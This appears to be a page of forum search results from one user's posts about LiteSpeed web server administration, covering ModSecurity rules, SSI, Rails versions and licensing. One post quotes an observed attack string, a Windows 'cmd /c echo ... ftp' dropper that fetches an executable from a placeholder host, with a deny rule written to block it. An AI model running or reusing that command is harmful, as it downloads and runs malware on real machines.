Search results

Ok so if I read this right something like: SecRule REMOTE_USER "rewetsr" log,deny,status:403

I was using SecFilter "rewetsr" This is the command that was coming through (after a load of unicode characters): cmd /c echo open 1.1.1.1 21 > o&echo user 1 1 >> o &echo get rewetsr.exe >> o &echo quit >> o &ftp -n -s'

Is there a way I can filter attempts to hack via http auth? I'm getting http auth requests which are trying to use SQL Injection with the login/username. It's not getting anywhere but I would like to stop the request before it reaches the application if possible? I tried using SecFilter but...

Couple of ideas that I think would be beneficial to the everyday usage of the admin interface: 1) When you change the configuration it notifies you "Configuration has been modified. To apply changes, please visit Control Panel and execute a Graceful Restart. Apply Changes". Rather than...

Thanks very much mistwang :)

Out of curiosity how come there is now a 1.5Gb memory limit for the VPS leased license? Does this mean it will only use 1.5Gb of memory or it will cease to work on a system with more memory? Being a Ruby on Rails developer I have a 2GB VPS and it doesn't take many rails apps to eat up that...

@anewday apologies for my perceived lack of patience @mistwang thank you again; figured it out from what you said: Go to the conf folder of your litespeed installation directory e.g. cd /usr/local/lsws/conf And edit the mime.properties file and append: shtml =...

It's all a bit quiet...is my question that dumb or does nobody know? :) I know you used to have to pass over requests to Apache but I'm pretty sure I read that you can now process SSI with version 4.x - that's correct isn't it?

Probably simple but couldn't see the answer anywhere: How do I setup SSI to process .shtml files for say the PHP_SuEXEC virtual host template? Thanks Luke

Thanks NiteWave thats just what I was looking for - any chance of adding these instructions to the upgrade part of the install/upgrade docs? (http://litespeedtech.com/docs/webserver/install/)

I haven't tried this yet - will be trying shortly though. Just wanted to mention that the latest version of Rails (2.3.5) has a dependency of Rack 1.0.1 so this will need a fix. LiteSpeed staff - is the fix suggested by Grzegorz recommended? Or you do you have a better solution? Kind Regards...

Thanks mistwang, I should have added that I also had the same issue with: Security -> Password File Realm Definition -> User DB Location Not sure if this would apply too? Thanks Luke

Thanks for the quick reply mistwang - I collapsed in bed as it was about 3am my time when I posted that! If you could let me know if this is going to stay like this or change back to how it used to work that'd be great. For the moment I've edited the template xml directly now to have the...

I upgraded from 3.x tonight but I'm having issues with a virtual host template that uses symlinks The vh_root is like this: /home/sites/public_html/site1/public/$VH_ NAME public is a symlink to the users site folder, which they have access to: /home/user_site/ I have an access log setup to...

Oh just to add - remember that we're using a regular expression to find the version. If it can't find the constant we're after rails_ver will end up being nil (similar to null in most other languages). So you may want to check before using it: if rails_ver.nil? # assume old way or throw...

Yep looks good to me.

Based on running in the rails root: environmentrb = File.read('config/environment.rb') puts $1 if environmentrb =~ /^[^#]*RAILS_GEM_VERSION\s*=\s*["']([!~<>=]*\s*[\d.]+)["']/ If you have loaded rails then you can use: File.read("#{RAILS_ROOT}/config/environment.rb") and it'll pull...

If I can help I will - what exactly are you after? Some additions to the github code above? e.g. do you just want to do something like if RAILS_GEM_VERSION >= 2.3.2 # use rack else # use old system end or did you want to get the RAILS_GEM_VERSION number out to litespeed?

Doh thats got it - thanks very much!

Hi There, I'm trying to setup a site that uses a simple perl script: #!/usr/bin/perl use LWP::Simple; print "Content-type: text/html\n\n"; @content=get('http://some_url'); foreach$line(@content) { $line=~s/<HEAD>/<HEAD>\n<BASE target=\"_top\">\n/; print $line; } Other perl scripts...